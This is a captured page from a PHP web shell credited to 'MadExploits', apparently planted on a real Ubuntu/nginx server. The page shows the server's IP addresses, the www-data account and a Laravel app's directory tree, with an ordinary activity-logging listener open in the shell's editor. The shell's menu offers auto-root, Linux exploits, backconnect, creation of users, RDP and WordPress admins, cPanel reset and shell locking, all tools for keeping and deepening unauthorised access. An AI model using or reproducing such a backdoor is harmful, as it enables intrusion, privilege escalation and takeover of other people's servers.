Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Listeners /
[ HOME SHELL ]
Name
Size
Permission
Action
GeneralActivityEventListener.p...
1.15
KB
-rw-rw-r--
RecordEventListener.php
3.84
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RecordEventListener.php
<?php namespace App\Listeners; use App\Events\RecordEvent; use App\Models\ActivityUpdate; use App\Models\Record; use Illuminate\Database\Eloquent\Model; class RecordEventListener { protected $mappings; /** * Create the event listener. */ public function __construct() { } /** * Handle the event. */ public function handle(RecordEvent $event): void { $this->mappings = app($event->class)::$mappings; // info($this->mappings); // info(gettype($event->record)); // info($this->mappings); $this->logFieldUpdate($event->log_model, $event->record, $event->old_record, $event->data, $event->activitable_id, $event->activitable_type, $event->tag, $event->activity_type); } private function logFieldUpdate(Model $log_model, Model $record, Model $old_record, $data, $activitable_id, $activitable_type, $tag, $activity_type) { if (!$data || !sizeof($data)) return; $updated_fields = []; foreach ($data as $key => $value) { if (array_key_exists($key, $this->mappings)) { $map = $this->mappings[$key]; $title = $map['name']; $old_value = null; $new_value = null; if (array_key_exists('relation', $map)) { $relation = $map['relation']; //if relation exists, property also exists $property = $map['property']; //if this is category thing, give special treatment if (array_key_exists('special_type', $map)) { $special_type = $map['special_type']; if ($special_type == 'category') { info($record->$relation); info($record->$relation->details); if ($record->$relation && $record->$relation->details) { $new_value = $record->$relation->details[0]->$property; } if ($old_record->$relation && $old_record->$relation->details) { $old_value = $old_record->$relation->details[0]->$property; } } else if ($record->$relation) { if (isset($record->$relation->$property)) $new_value = $record->$relation->$property; if (isset($old_record->$relation->$property)) $old_value = $old_record->$relation->$property; } } else { if (isset($record->$relation->$property)) $new_value = $record->$relation->$property; if (isset($old_record->$relation->$property)) $old_value = $old_record->$relation->$property; } } else { $new_value = $record->$key; $old_value = $old_record->$key; } $updated_fields[] = [ 'title' => $title, 'old' => $new_value == $old_value ? null : $old_value, 'new' => $new_value ]; } } if (sizeof($updated_fields)) { $item = new ActivityUpdate([ 'activitable_type' => $activitable_type, 'activitable_id' => $activitable_id, 'note' => null, 'admin_user_id' => adminUserId(), 'user_id' => null, 'activity_type' => $activity_type ? $activity_type : 'deleted', 'json' => json_encode($updated_fields), 'tag' => $tag ]); $log_model->activities()->save($item); } } }
Close